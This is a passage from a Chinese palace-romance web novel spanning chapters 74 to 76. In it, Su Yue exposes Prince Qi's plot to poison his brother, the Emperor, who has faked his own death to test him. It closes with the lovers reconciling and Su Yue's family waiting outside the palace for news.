她推开内侍,跌跌撞撞跑过去问太医, “陛下怎么?样了?” 太医们面露难色, 支支吾吾道:“臣等无能。适才陛下口?吐鲜血,臣等翻看陛下后背,背心发黑, 说明钩吻的毒已经穿透脏腑, 扩散至肌理了。臣等用尽了毕生所学, 实在难以清除陛下体内的淤毒。”说着?纷纷跪倒在地,“请太后恕罪。” 太后一口?气上不来, 直挺挺倒了下去,众人一阵慌乱,苏月两头?顾不及, 大哭起来, “怎么?办……怎么?办……” 齐王安排人把太后抬到了外寝的小榻上, 红着?两眼对?苏月道:“今晚看来凶险得很,且仔细看顾着?吧。等到明日,把宰相和?尚书令等传进乾阳殿, 是好是歹,不能再?继续隐瞒了。” 苏月知道, 他等这一刻已经等了许久。她抬起眼看向他,他脸上有悲痛,却无论如何都分辩不清,他究竟是不是打心底里舍不得这位阿兄。 是什么?让他面目全非呢,他没有上过战场,没有打过一场仗。他从未尝过刀□□穿皮肉的滋味,也从不知道箭矢擦着?头?皮而过的恐慌。他什么?都没有付出,他只是等着?阿兄为他遍寻名?医,坐在遮风避雨的屋子里,端起女使为他熬制的汤药。他有什么?道理在尘埃落定后取阿兄而代之,难道果真命该如此,权珩舍身忘死,而权弈坐享其?成吗? 她不想?再?探究了,也不想?过问什么?朝政大事,对?他的话置若罔闻,失魂落魄地坐回了脚踏上。 齐王见状,略站了会儿,复又退出了后寝。他还有很多事要安排,拿捏住满朝文武,再?去见一见裴忌,最后还得命人预备大行?皇帝的后事。 苏月守在权珩的床榻前,诱哄的话说过了,威胁的话也说过了,都是无用。如今只有静静地趴伏着?,能与他多相处一时是一时吧。 国用极力劝解着?:“大娘子,太后急倒了,您千万要保重身子。陛下若是有知,定不愿意看见您为他肝肠寸断的。” 苏月苦笑,“不愿意也没用,我早就稀碎,碎成了一团。我现在只想?,下辈子不要再?见到他,他做皇帝也好,做乞丐也罢,都不要来找我了。” 国用愁了眉,“大娘子,陛下听见您的话,该多伤心啊。” 苏月垂眼看看他,“他躺在这里,什么?都不知道,我有多难过,他哪里能体会。我都求他了,求他回来,他也不理我。既然如此 ……我也不想?纠缠他了……罢了。” 话虽这样说,眼泪却不住流淌下来,说的都是气话,其?实他也知道。她就是失望极了,怨极了,不知该如何纾解心里的苦闷。太医已经宣布了他的命运,也许今晚是自己?与他相处的最后一晚,回想?起前事,那么?多的可笑与无奈,都像一场梦,他留给她的,不过是无尽的痛苦和?追忆而已。 国用深深叹息,正想?再?安慰她,一个叫善本的内侍快步进来了。他也是御前的人,只不过平时淹没在人堆里不起眼,但此时却带着?司隶校尉的密信,一直送到了苏月手里。 苏月展开看,信上写得明明白白,陛下用过的那盏甜乳酥酪里,查出了钩吻毒。大理寺严办了所有膳司人员,上层的船舱中演奏曲目时,下层正预备宴后的点心和?甜饮。从酥酪出蒸笼到端上托盘,由专人负责,不假他人之手,呈上御桌前也会经受银针的检验,一切如常才能往御前运送。 然而,就是这运送的过程,出现了一点不寻常。从下层进入上层,须得通过二?十二?级向上的台阶,出口?并不宽大,仅能容一人通过。御前是有规定的,呈敬时必定是陛下在先,臣子在后,送膳的人鱼贯而行?,在出口?处恰好遇见了齐王。 齐王并未立刻让开,偏头?问送的是什么?。 司膳站在两级台阶之下,俯首回禀是甜乳酥酪。 酥酪这种东西,先蒸后冻,凉了才能凝结如豆腐一般。所以这道甜饮不用层层保温,只盖镂空菱花金盖,越有凉风流通,风味越是上佳。 大理寺再三确认过,齐王当时并未走近,相隔至少?有一丈远,且他不会武艺,不可能动手脚。盘问那些送膳的人,也都说不出他有哪里可疑。 苏月翻开了密函的后一页,但越往下看,眉头?蹙得越紧,最后狠狠咬住了牙。 其?实她一直希望这件事和?齐王无关,她愿意看他们兄友弟恭,顾念贫寒时相依为命的情义,但却没想?到,终究亲情敌不过皇权的诱惑。 合上信件,她垂首在桌旁坐了下来,如今面临着?巨大的考验,究竟是该把一切抖露出来,还是该装作不知情,让真相消失在重重迷雾里。 这是个很现实的问题,权珩的病情不乐观,太医说也许就在今晚,自己?若是懂得审时度势,为家人考虑,就该当做没有接到过这封信,忽略那日发生的种种。可是权珩怎么?办?她的大郎怎么办?出生入死多年,最后换来这样的结果,没有死在战场上,死在了最信任的阿弟手上,他做错了什么?,要承受如此大的冤屈! 一旁的国用见她魂不守舍,捏着?心唤了声大娘子,“您可是有什么?不舒服吗?” 苏月摇了摇头?,眼里黯淡的光逐渐重燃,撑着?桌角站起身问:“裴忌的人马还在吗?齐王走了多时,想?必已经同?他晓以利害了。” 国用很振奋,说在,“奴婢问过万里,他说南宫外仍有金吾卫驻守,并无退却的迹象。太后没有下令,裴将军定会坚守到最后,大娘子放心。” 苏月暗松了口?气,转头?看向案上的更漏。已经子时了,天一亮,还有一场硬仗要打。 她举步重新回到床榻前,仔细看着?他,要把他的样子刻进脑子里。复又抬手抚抚他的脸,轻声道:“大郎,我不会让你蒙冤的,放心。” 可喜的是,后半夜没有发生她最害怕的事,但齐王已经等不及了,辰时前后把臣僚都召集进了乾阳殿。 他们在前殿窃窃私议,苏月从后殿走出来,众人立刻怔怔望向她,她扫视了一圈,视线落在角落里的官员身上,哂笑道:“礼赞官都来了……” 只等皇帝一咽气,就昭告天下吗? 臣僚们脸上神情晦暗,宰相问:“大娘子,圣驾怎么?样了?” 苏月没有回答,只是偏头?吩咐淮州:“去把太后搀出来。” 已然要请太后出面了,必定是有变啊,众人在一片凄惶中望向前后殿之间的通道,等着?太后接见众臣,交代接下来的安排。 然而太后不会对?还有一口?气在的儿子,说出任何一句不利的话。面对?众人,铁青着?脸问:“陛下无恙,你们不在衙门?务政,都跑到乾阳殿来做什么??难道还要卧病在床的陛下,给你们一个交代不成?” 众人觑了觑齐王,陛下的病情,他都已经据实告知了,昨晚病危,剩下的只是延捱时间而已。 齐王过去搀扶母亲,轻声道:“还是早作打算……” 苏月接过了他的话头?,“依大王之见,应当作什么?打算?” 齐王面色不豫,对?于这个屡屡与他唱反调的人,已经逐渐失去耐心了。 这时众人却见苏月在太后面前跪了下来,拱手道:“陛下若有闪失,料臣也不能活命。臣求太后保全臣的家人,如此臣心里有话,才敢如实说出来。” 太后被她这一举动弄得发懵,忙伸手把她扶起来,“这是怎么?话说的,如何还牵扯上了家人?” 苏月坚定地望住太后,“求太后答应臣。” 太后点头?不迭,“自然自然。” 她这才转身又向众臣拱手,“也请诸位大人,为我作个见证。” 众臣忙振袖,肃容还了一礼。 朝殿外看,殿外的官道上走来两个人,是大理寺卿与司隶校尉。苏月舒了口?气,娓娓对?众人道:“陛下遭人毒害,我命司隶校尉协助大理寺查案,大理寺审问了档头?和?司膳,却一无所获。人人都是遵着?御前的规矩行?事,且从制作到查验,每一道步骤都有三人在场,膳司中的人绝无机会下手。如此唯一的可能,就是运送的过程中出了纰漏,但再?三盘问司膳,都说一切如常……”她说着?,目光调转向了权弈,“唯一的意外,是中途遇见了齐王。” 这番话,引得所有人都望向齐王,连太后也大惑不解。 而齐王给出的解释很合理,“我离席如厕,恰巧遇上,这有什么?可奇怪的?陛下遭逢大难,我知道辜娘子悲痛,但不能因此就胡乱猜忌,质疑我与陛下的兄弟之情。” 苏月说对?,“如厕不奇怪,但大王记错了时间,并非是离席。那个时候甲板上所有人都在船舱内,大王此时应当正和?朱娘子坐在屏风后奏曲,而你,却出现在了下层通往上层的必经通道上。” 众臣这回连议论都没有了,个个眼观鼻鼻观心掖手而立,等着?接下来,更多的内幕被发掘。 齐王呢,自然是气愤的,眉眼间布满了严霜。因为从未想?到这样一个无用的女郎,居然揪住了这件事不肯罢休。 “奏曲有先后,我奏的是前曲,朱娘子奏后曲时,我暂且离开,难道这便成为辜娘子将矛头?直指向我的证据了吗?” 臣僚们也在思忖这个问题,两边都有理,苏月接下来的话,一下拨开了迷雾,“如果两段曲子,都是出自朱娘子之手呢?” 众人哗然,似乎真相就在不远的前方了。 齐王恨声问:“这是辜娘子的猜测,还是朱娘子的证供?” 这场撕扯注定要两败俱伤,能不提及颜在,就让她在这件事里隐身吧,于是苏月一口?咬定,“大王的记性不太好,你们奏完落座,我就曾质疑过你们的指法过于相像。那时陛下还为你打圆场,说你们以乐定情,必有共通之处。且大王已经预备迎娶朱娘子了,她的证供,并不重要。” 齐王失笑,“也就是说,一切全是你的臆想??下毒总得有机会,你们大可审问司膳,我可曾接近过她们。” 这就轮到大理寺卿和?司隶校尉登场了,大理寺卿道:“回禀太后,臣仔细盘查过,大王确实不曾与司膳有过任何接触。” 太后此时脑子一团乱麻,长子不省人事,幼子又被质疑,她木木地站着?,早就没了主张。 接下来司隶校尉打开了随身的匣子,取出一撮头?发和?一块木板,放在了面前的小案上。 众人不解,探身过去查看,齐王脚下没动,眼神微闪了闪。 司隶校尉条理清晰地向众人解释,“头?发和?木板上,都查验出了残余的钩吻。诸位大人定然想?不通这两者间有什么?联系,但只要卑职一说出处,诸位便明白了。头?发,是司膳的头?发,木板,是通道上方的顶板……”边说边向众人展示,“这木板表面有一层极淡的痕迹,不细看是看不出来的,但若翻转过来,诸位便一目了然了。” 众人忙跟随他的指引查看,才发现这块板子上有个细小的孔洞,板子的反面凿出了一道筷子粗细的凹槽,凹槽内还残存着?淡褐色的粉末。 司隶校尉比了比手,“这就是钩吻。司膳见了齐王,自然不会上前,必要站定行?礼,齐王多站一会儿,毒液滴入金盏的机会就多增加一分。当然,这种事很难万无一失,所以才会从司膳的头?发上查验出零星的钩吻,但只要有一滴滴入盏内,就足以取人性命。事后哪怕舫船被扣,随着?槽内毒液风干,孔洞被堵塞,若不去留心勘察,就没人会发现。整套的安排可谓天衣无缝,险些把我们都骗过了。” 太后听到最后,几?乎要崩溃了,颤声质问齐王:“这是真的么??果真是你做下的?为什么?,那是你一母同?胞的兄弟,他从来不曾亏待你啊!” 齐王自然是不会承认的,咬牙冷笑,“你们三人成虎,看来是非要将罪名?强加在我头?上了。我知道,陛下遇险,下一个就轮到我了,权家大宗如数被铲除,在场的列位,个个都能称王。尤其?是南宫之外的裴忌,早前阿兄就曾与我抱怨过,说辜娘子爱慕裴将军,并不属意自己?,如今看来是真的。”顿了顿,又厉声质问苏月,“你命裴忌围守宫城,狼子野心昭然若揭,再?佐以这些雕虫小技,试图混淆视听,将我们兄弟一网打尽,其?实就是为了扶植裴忌吧!辜娘子,你可真是好心机,好手段,不单陛下错看了你,连太后也错看了你。” 他反咬一口?,把自己?变成了受害者,苏月道:“大王何必避重就轻,整件案子里,只有一个人饱受冤屈,那就是陛下。你好端端地站在这里,调遣驻军兵临城下,你有什么?资格与陛下相提并论!” 此时庄严的乾阳殿,变成了一块看不见硝烟的战场,人人有私欲,人人都在掂量孰轻孰重。好在这些臣僚们大多是清正刚直的,宰相向太后拱手,“臣等追随陛下多年,亲眼见证陛下历经磨难,创下这万世?基业。臣等为陛下马首是瞻,纵万死,也要报效陛下。而今君受难,臣等若不为君申冤,枉为臣子。请太后下懿旨,严惩弑君的恶徒,太后不单是圣母,更是千千万万大梁百姓的国母!” 然而齐王是成竹在胸的,睥睨着?众臣道:“就凭这几?人妖言惑众,你们便要逼太后降服我。难道真以为裴忌的三千兵马是正义之师,不会挟天子令诸侯,胁迫你们俯首称臣?” 他擅长攻击人心的薄弱点,这大梁王朝就像盘中的肥肉一样,丰美却无主。手握兵权者得天下,但并不是在齐王和?裴忌之间做选择,而是裴忌的三千金吾卫,对?于盘桓在城外的羽林卫大军来说,根本不堪一击。 这也是陛下失算,过于重亲情,把京畿大军交给了从未打过仗的阿弟。齐王对?兵权的运用不在守卫京师安全,全都用在了谋求私利上。 苏月望向太后,到了这样地步,她要做的一切都做到了,问心无愧。至于太后是选择扶植小儿子,还是大义灭亲,全看太后的意思,已经不是她能左右的了。 太后两眼盯着?齐王,忽然狠狠抽了他一个耳光,“这是你出生至今,我第一次打你。不为别的,只为你变成了谋害阿兄的疑凶,你罪该万死。” 仅仅只是疑凶,苏月听完便明白了,到了紧要关头?,太后还是会以大局为重。 她叹了口?气,这也无可厚非,本就没有第二?个选择。皇位不能旁落,否则将是一场浩劫,百姓会再?一次流离失所,上都的整个权家,也会转瞬灰飞烟灭。 齐王挨了母亲一巴掌,脸上浮起了指痕,但心却落回了肚子里,低头?说是,“儿罪该万死。” 朝堂上的众人,都是一副兵败如山的样子,苏月心里却十分感激这些坚守正义的忠臣,裴忌、大理寺卿、司隶校尉,还有声讨齐王的那些人。 可情势如此,凭她的能力终归无法扭转。她看见齐王的视线划过她的脸,眼神阴狠,如毒蛇一般。她早就做好了准备,一朝天子一朝臣,皇后也是一样。总不能只接受权珩给予的优恤和?荣耀,不承担大树倒塌时,带来的灭顶之灾。 自己?在前殿蹉跎了太久,已经很不耐烦了,现在只想?回到后殿去,守在他身边。于是转身想?原路返回,可霎时她又怔住了,只觉血气一下涌进了脑子,耳中隆隆全是心跳的声音。 她看见了什么??看见权珩没事人一样,悠着?步子从后寝的通道上走来。他还是原来的样子,没有病容病态,身板挺得直直的,一双温柔的眼睛,脸上挂着?松散的笑意。 经过她面前时,唇角仰起来,伸手抚了抚她的脸颊。那手掌是温暖的,是血脉丰沛,是活着?的。 她忘了哭也忘了笑,只管呆呆地盯着?他。 他轻声说:“辛苦你了,接下来的一切,就交给我吧。” 错身而过,他在所有臣僚惊异的注视下走上朝堂,煊煌的帝王之气,如天神再?临。 太后泪眼婆娑,惊愕过后跑上前,一把抱住了他,“大郎,我的儿,你好了……你都好了吗?” 他轻拍太后的后背,温声道:“儿不孝,让阿娘担心了。” 此时的齐王早就惊讶得说不出话来,瞪大了一双眼,骇然望着?他。 皇帝的身量,比他高?出许多,走到他面前,低头?好奇地问他:“怎么?不接着?说了?朕听你分析局势,安抚臣僚,一字一句有模有样,可听了半天,始终没听见你打算如何安排朕的后事。阿弟,你会为朕风光大办吗?还是会以粗糠塞住朕的嘴,防止朕向阎王爷告状?” 第75章 第 75 章 “阿兄……”齐王喃喃, 心?头狂跳,但仍要?尽力平稳住心?绪,装出惊喜交加的样子来, “你醒了, 太医医好你了……你不知道我有多担心?……” 他还在惺惺作态, 但皇帝却冷冷抬起手,冷冷扇了他一巴掌。 “啪”地一声, 皮肉相击的声响在大殿上回荡,习武之人下手有多重, 大家都知道。这一巴掌甩得齐王口角溢血, 踉跄几步险些栽倒,怔忡的官员们这时才?回过神来,原来不是?做梦, 陛下真的回来了。忙呼啦啦跪倒一大片, 山呼万岁的声浪恨不能击穿殿顶, 直达天听。 皇帝发?话让他们平身,但两眼?仍未离开齐王, 冷笑道:“很失望吧,没能毒死朕。朕站在这里,毁了你的帝王梦, 可是?二郎, 你应当明白一个道理, 不是?每个姓权的,都有能力做皇帝。” 齐王的手在袖中瑟瑟颤抖,他知道大势已?去, 但还在奢望能够蒙混过关,皇帝会念在兄弟一场的份上大事化小。 “阿兄想是?误会臣弟了。”他艰难地咬住了槽牙, “还是?阿兄怨我没有尽到护卫之责?” 皇帝一笑,“朕记得你在舫船上对朕说过一句话,你会守护好阿兄,其实这话只说了半句,你想说的,是?会守护好阿兄的江山吧!” 齐王额角青筋隐现,闷声道:“阿兄如此?疑心?我,我就算说得再多,也无济于事了。” 皇帝慢慢颔首,“你确实不用说,你心?里想的,早就已?经做出来了。太医一散布朕毒发?的消息,你就迫不及待把朕交给你的羽林卫调遣到城外,不过是?为抢占先机,杜绝有人快你一步攻城。可惜这些驻军不能入城,否则南宫之外,现在应该都是?你的人,就算朕安然无恙,你也照样能让朕去见阎王。”他说着,脸上浮起了失望和遗憾,“你就那么想取代朕么?没有想过得位不正必招祸端,大娘子既然查清了你的罪证,今日就算你登上帝位,明日便会有人揭竿而起推翻你。你一个手无缚鸡之力的人,如何能坐稳龙椅,号令群臣?” 勉力支撑着齐王的那点?骄傲,在他的诛心?之词里终于彻底崩塌了,他垂下袖子道:“你早就怀疑我了,所以给我兵权,让我掌控官员任免。一切的一切,都是?为了引我上钩,让我露出马脚。” 皇帝不说话,只是?静静看着他,良久才?道:“你把金匙递给朕之前,朕还在希望是?自己多疑,原破岩提醒朕的那些话,都是?他的酒后胡言。可你对朕下手了,丝毫没有犹豫,朕真是?心?寒,曾经那么爱护的阿弟,居然处心?积虑想置朕于死地。” 齐王泄了气,事已?至此?,还有什么可辩白的。有些话憋在心?里太多年,腐烂了、发?臭了,找不到机会宣泄。今天既然败露,他也没想过还能活命,索性就把这脓疮挑破了吧。 重新挺直脊梁,他说得很平静,“你知道被人看不起的滋味么?想过有你这样一位阿兄,会衬得我这个病秧子更加无能么?我没有忘记过那些人对我的议论,他们说二郎真是?好福气,纵然一身的病,也有一位好阿兄帮扶。可我这一身的病,是?我自己愿意得的吗?为什么你能金戈铁马征战沙场,而我只能足不出户,日日与药罐子为伍?你还记得吗,我曾经同?你说过,想去军中看看,你是?怎么回答我的?马蹄迅捷,扬起的风都能掀翻我,这句话我一直记到今日。别人轻视我就算了,原来阿兄也一样瞧不起我。” 皇帝听了他的控诉,委实觉得不可思议,没想到一句玩笑话,竟让他记恨到今天。 太后又气又恨,大骂道:“丧良心?的东西?,就算无意间的话伤过你的心?,阿兄对你的好,还不足以抵消这点?小龃龉吗?” 母亲的痛斥,让他愈发?绝望。所有人都觉得玩笑话不算什么,没有必要?小题大做,那是?从来没有人设身处地,站在一个体弱多病的人的立场上看待问题。 他的世界只有这么大,春天不能出去踏青,冬天不能出去踏雪,每天闻着令人作呕的药味,连做梦都在一碗一碗灌药。但凡有一件事发?生,就会堆积在心?里,没日没夜地重演。 他改变不了现状,悲伤失望,痛恨自己之余,便迁怒最亲近的人。身强体壮的阿兄是?他的对照,他对阿兄的感情太复杂了,有依赖有羡慕,当然也有嫉妒。 后来年纪一点?点?大了,他活过了弱冠,身体也终于慢慢好起来,就像一个被囚禁了二十?年的囚徒,一旦自由便爆发?出很多欲望。他贪婪地汲取以前从未拥有过的一切,不论是?青草甘露,还是?世人的尊重和仰望。他亲眼?看见阿兄站上无人之巅,接受众生的三跪九叩,他渐渐开始品尝到权力的滋味……那滋味太美妙,胜过世间的一切。 于是野心开始无节制地膨胀,他忽然意识到一个问题,阿兄后继无人,一旦发?生意外,阿娘必定保他继承皇位。这个念头大逆不道,但形成之后就无法泯灭。他等待时机,创造时机,皇帝出游,所用的人必定都是御前的人,人员上动不了脑筋,但舫船是?他安排的,提前布置好一切,只要?时间算得准,就能神不知鬼不觉。 本以为天衣无缝,谁料居然被辜苏月给拆穿了。更可恨的是自己费尽心?机,原来从未跳出阿兄的五指山。就像个丑角,翻转腾挪自以为高明,殊不知头顶上有双眼?睛,一直在盯着他。 他感觉自己受到了愚弄,对兄长的恨意也更深,狠狠看着皇帝问:“既然早就察觉了,为什么不干脆杀了我?” 皇帝答得很简单,“因?为朕和你不一样,朕从未想过要杀自己的同胞兄弟。” 齐王声嘶力竭,“又是?为了区别于我!你情深义重,而我是?乱臣贼子,无耻小人!” 他发?疯,不顾死活,太后却不能眼?睁睁看着他走上末路,只好来求皇帝,“二郎病了这些年,脑筋早就和常人不一样了。我知道他犯了死罪,可他毕竟是?你阿弟,你给他一个活命的机会吧!” 毒害皇帝,谋朝篡位,桩桩件件都是?死罪。皇帝转过头望向在场的臣僚,“诸位以为,朕该如何裁决?” 宰相和尚书省官员异口同?声,“王子犯法,与庶民?同?罪。” 太后哪里舍得,哭道:“天爷,难道我只配有一个儿子吗?我上了年纪,只想子孙都平平安安的,莫让我白发?人送黑发?人。” 苏月一直站在太后身边,见她悲痛欲绝忙搀扶住,对皇帝道:“兹事体大,陛下也不必立时发?落,总要?再命大理寺彻查,才?能定罪。” 拖字诀,永远是?最好的办法。其实她也知道他不忍心?当真处死权弈,这个时候若有人缓和了剑拔弩张的气氛,那么后面的事,就可以酌情再定夺了。 皇帝叹了口气,“大娘子说得是?,朕在气头上,不宜裁决。着令大理寺将人关押进北司狱,查明同?谋后再行论处。” 大理寺卿拱手道是?,很快遣来缇骑,把权弈押解出了乾阳殿。 皇帝这时方?定下心?来,怆然道:“大梁开国至今一切向好,却没想到出了这样一件事。朕也自省,可是?朕做得不够好,若没有刻意纵容,他也许走不到这一步。是?朕滋养了他的野心?,朕也有错。不过经此?变故,朕看见了众臣工的忠心?,更看清了大娘子临危不惧,足堪执掌凤印。” 所以这是?一场有计划的稽考,考验的不光是?齐王的野心?,更是?满朝文武的忠心?。众人嘴上高呼陛下圣明时,谁的后背没有隐隐生寒,不庆幸自己还算聪明,坚持到了最后。 至于这位大娘子呢,陛下给了她证明自己的机会,经此?一战,再也不会有人敢质疑她的能力,贬低她的出身。从今往后她就是?大梁王朝的小君,铁骨铮铮的,能与陛下并肩而立的正宫皇后。 皇帝偏头吩咐万里:“传令裴忌,让他撤兵吧。他的忠勇朕记下了,等朝局大定再行封赏。原破岩这刻应当已?经接掌了城外的驻军,命人快马传话,把驻军遣回驻地,暂且令守营大将统管军务。” 万里领命去承办了,皇帝方?对众臣道:“这几日弄得人心?惶惶,大家都辛苦了。回去好生预备过年吧,耽误的政事,年后的大朝会上再行商议。” 众臣齐声说是?,复又长长行礼,鱼贯退出了乾阳殿。 大殿内外没有外人了,皇帝上前搀住了太后,愧怍道:“阿娘,儿这几日让阿娘伤心?了,但请阿娘体谅儿,我也是?没有办法,我也为二郎的所作所为伤心?。” 太后掖着泪眼?道:“你早看出他有不臣之心?,为什么从来没有与我说起过?你若是?说了,我还能敲打敲打他,也不至于走到今天这步。” 皇帝摇头,“阿娘低估了他的野心?,他入朝任职后,致力于拉拢人心?,一日都没有懈怠。我也希望是?自己多心?了,所以想试他一试,他再怎么胡闹我都可以不与他计较,但他最后竟要?毒杀我……若不是?我早有防备,这刻恐怕真的已?经死了。” 太后不由掩面大哭,“这个混账的糊涂虫,做个富贵闲人有什么不好,做出这种丧心?病狂的恶事来!” 齐王的失败不止在于钻进了兄长的圈套,更在于自身能力的不足。他把权力更迭想得太简单,政治的诡谲远在他的认知之上。这些门道靠无数次生死一线磨砺出来,不是?坐在书案后纸上谈兵,就能轻易弄明白的。 而太后的焦急,在儿子面前不必遮掩,她追问皇帝:“大郎,你会如何处置二郎?真的会处死他吗?” 皇帝对一切早就作了无数次的设想,他能不能狠下心?来杀了权弈。如果遵国法,权弈必死无疑,但他终究不是?个狠心?的兄长。当初遍寻名?医才?保住了他的小命,怎么忍心?亲手再把他送下黄泉。 “我可以让他不死,但他不能再留在上都了。这辈子须得活在有人看守的地方?,不能随意行动,更不能结交任何朝廷官员。”他说罢顿了顿,又问太后,“我这样安排,阿娘能接受吗?” 太后不是?个只知闹腾,不知顾全大局的人,在她看来小儿子能保住一条命,已?经是?法外开恩了。她只有一个要?求,“别去严寒之地,他的身子经不住。去一个有花有草,冬日有雪也有暖阳的地方?。” 皇帝点?了点?头,“阿娘放心?。” 太后长叹了口气,“这样,我已?经很知足了……”复又无奈地看了看他,“你为考验他的野心?,把所有人都骗了。苏月险些被你吓死,赶紧好生安抚她吧,别让她又捶你。” 太后说罢,由傅姆搀扶着返回安福殿了,没看见皇帝的耳朵被人拧着,直接拖回了内寝。 苏月红着两眼?虎视眈眈,“你今日有血光之灾,因?为我要?打死你!” 皇帝这回连讨饶都没有,好歹从她手下逃脱,揉着耳朵说:“我好不容易活过来,你还要?打死我。真的死了,你不心?疼吗?” 苏月大哭,“我不心?疼,我被你坑得够够的,我都预备要?去死了,还管你!” 可他知道,她又在说气话。她在乾阳殿当着文武百官的面,把权弈所做的一切都抖露出来,已?然是?作好了必死的准备。若是?打算给自己留有余地,就不会在明知没有退路的情况下,去得罪最有可能继位的人。 她大泪滂沱,皇帝心?疼地抱住了她,“我现在很感激阿娘,早早为我物色好了你。你如此?情深义重,在我还未察觉时,原来已?经爱我爱得死去活来了。” 这种关头还在自鸣得意,苏月推开他,狠狠踢了他一脚。 他吸了口凉气,单腿直蹦跶,“我知道你怨我,我应当事先和你通个气,就不会让你白流那么多眼?泪了。可我想试试你处理危机的手段,如果有朝一日我真的被人害了,你能不能保护自己。” 苏月气道:“这下你验出结果来了,我非但不能保护自己,还可能坑害全家,让他们陪我一起殒命。” “所以我才?觉得你难能可贵,你一心?要?为我申冤,我没有看错你。”他厚着脸皮纠缠她,“你知道找到一个能够托付性命的妻子,有多难么?人都说大难临头各自飞,你没有,你非但没飞,还打算在我的坟头上筑巢,这份情义我拿一生来回报你。”然后郑重其事对她说,“辜娘子,朕答应你,这辈子只爱你一位女郎,不设后宫,不与人私通,朕守着你过一辈子,你就看着吧。” 他信誓旦旦的爱意向来来得突兀又诡异,苏月忘了哭,怔怔问他:“真的?” “真的。”他说,“你一个小女郎,有那样的胆色为我申冤,就算朝堂上的三公?九卿都未必能做到。你喜欢梨园,我成全你,你在我危难的时候能不顾一切保护我,你是?最好的女郎,世上没有人能取代你。” 苏月委屈又欣慰,“算你有良心?。” “不过我有个意见。”他委婉地说,“下次喂药,能不能别揉我的喉结?” 她纳闷地看着他。 他苦闷比划了一下,“那药太苦了,我不想咽下去。可你揉我的喉结……你揉我的喉结做什么,你让我骑虎难下知道吗?” 苏月说:“揉了很有用,你不是?咽下去了吗。” 他崩溃地说:“当然得咽,我不咽你还揉,再揉我就要?笑出来了!” 苏月目瞪口呆,设想一下他要?是?真忍不住笑了,那场面该有多尴尬。 摸了摸额头,她对他五体投地,“你真乃神人,能一动不动躺那么久,你的腰不酸吗?” 皇帝说酸啊,“所以太医一来就让你回避,我好活动一下筋骨,再吃点?东西?。” 苏月气恼不已?,“也就是?说,太医和国用他们都知道你安然无恙,你唯独骗了太后和我?” 他讪讪摸了摸鼻子,“戏要?做全,我怕你们不够悲痛,瞒不过权弈。” 好好好,真是?煞费苦心?。苏月握着拳头道:“太后听说你病危,急得晕厥过去了,要?是?真把她急出个三长两短来,你就是?不孝不悌。” 他也老实认了罪,不过还是?让她放心?,“事发?之前我命人给她请过脉,太后的身底子很好。且我不是?一下就死,太后有时间慢慢接受,不至于太过伤身。” 苏月简直无话可说,唾弃道:“你长了八百个心?眼?子,我以后怕是?降服不了你。你让开,我要?回梨园了。” 这回他没有退让,“你对我 说过的每一句话,我都记在心?上了。” 不太妙啊,苏月飞快回忆自己说过些什么,无非是?求他醒过来,醒来了这样那样…… 现在反悔还来得及吧? “你那……不是?装的吗,不要?太在意我的一时情急。”她眼?神闪躲着,“人一着急容易胡言乱语,你别往心?里去。” 他十?分?落寞,“我要?死要?活的时候,你对我掏心?挖肺,我如今健在,你又不稀罕我了。” 苏月听罢细想了想,这几日心?浮在浪尖上,被他弄得忽上忽下。活到今天从来没有考虑过的事,这几天在脑子里仔细思忖了一遍。那时最大的遗憾是?什么?是?他没有后嗣,让人生出了不该有的野心?。如果他后继有人,如果他不是?身后空空,想必就不会发?生齐王篡位的事了。 释然了,她的目光柔软下来,顺服地靠进他怀里,“大郎,明日就过年了,我今晚不回去了。” 幸福来得有点?突然,他以为自己听错了,一时没敢回应。 她举起两手,紧紧搂住了他的脖子,“我不回去了,你听见没有,怎么还不笑!” 高兴到了极点?,只剩心?头澎湃,哪里发?得出声来。他勉强挤出了两声哈哈,“你的意思是?……” 还能是?什么意思,她把脸紧紧贴在他温热的脖颈上,嘟囔着:“别问了,我这两日不想和你分?开,梨园的事也不想管了。” 也许今年,会是?大梁史上最冷清的一个新年,没有大宴和歌舞,也没有万人空巷的梨园汇演,但对苏月来说却是?踏实温暖,最尘埃落定的一个新年。 人只有经历过失去,才?懂得要?去珍惜。她失而复得,捧住他的脸再三地打量,最后在他额头用力嘬了口,叮嘱他:“我已?经盖过章了,今后不得我的允许,不许诈死,更不许真死。” 他用力点?了点?头,忙吩咐国用:“把内寝的寝具全换了,换成大红色。” 这个人的想法有时候很贫瘠,一说换成大红色,就知道他打算“被翻红浪”了。 国用满脸喜气洋洋,应了声“得嘞”,“奴婢把徽猷殿的也一并换了,再挂两顶芙蓉帐。” 苏月没有阻止他们主仆的一唱一和,就这样吧,她想,她嫁给了爱情,已?经是?世上最幸福的女郎了。 第76章 第 76 章 不过今天是除夕, 等到这场风波平息之后,她才想起来,应该给家里报个平安了。 宫里出了这么大的事, 裴忌的三千金吾卫把南宫团团围住, 里头的官员都回不去, 家眷们乱作一团,辜家自然也?得了消息。 短短三天时间?而已, 诚如过了半辈子,辜家的天都塌了半边。辜祈年夫妇急得团团转, 这一下该是多大的牵扯, 简直不敢去想。他们并不担心到手的爵位和优恤重?新被剥夺,他们只是担心孩子的安危。皇帝也?好,苏月也?好, 谁都不要出意外, 千万要平平安安地。 在家探不到消息, 辜家的男子便?分成四个方位,日夜守在宫门之外。然而硬守了许久, 始终没有?任何?进展,辜祈年随身携带的佛像时不时还得掏出来,连作揖带祝祷, 声泪俱下地祈求, “佛祖……佛祖啊, 我辜家为乡亲修桥铺路,年年也?都出资修缮庙宇,弟子不求显贵, 只求儿女平安,长命百岁。” 也?不知是不是佛祖显圣, 端门上?的金吾卫好像有?动静了。这些武将们集结起来,开始有?序撤退,辜祈年见状赶紧上?前追问?情况,“军爷,怎么都撤了?南宫不守了吗?掖庭内怎么样了?” 金吾卫撤守,无非是两种可能,一是齐王完全掌控了时局,金吾卫被接掌了,奉命退兵。二就是陛下的情况有?了好转,也?许已经醒过来,稳定住了朝纲。 他心里默念了千万遍,只盼是第?二种可能,但又架不住不好的预感萦绕心头,追着询问?金吾卫的时候,背上?的中?衣都湿透了。 金吾卫无权向?他透露内情,只道:“国公别再守着了,回去等消息吧。” 辜祈年语无伦次,“回去……哦,回去……我怎么回去,不能回去。” 很快,金吾卫大批撤退了,回身看,城内的缇骑也?从各个角落汇总,押着腰刀返回府衙了。他呆站在那里,像北风中?的一棵树,彻底没了主张。 这时守在西太阳门上?的大郎气喘吁吁跑来,边跑边喊:“阿爹!阿爹!” 辜祈年忙迎上?去,“怎么样?探着消息了吗?” 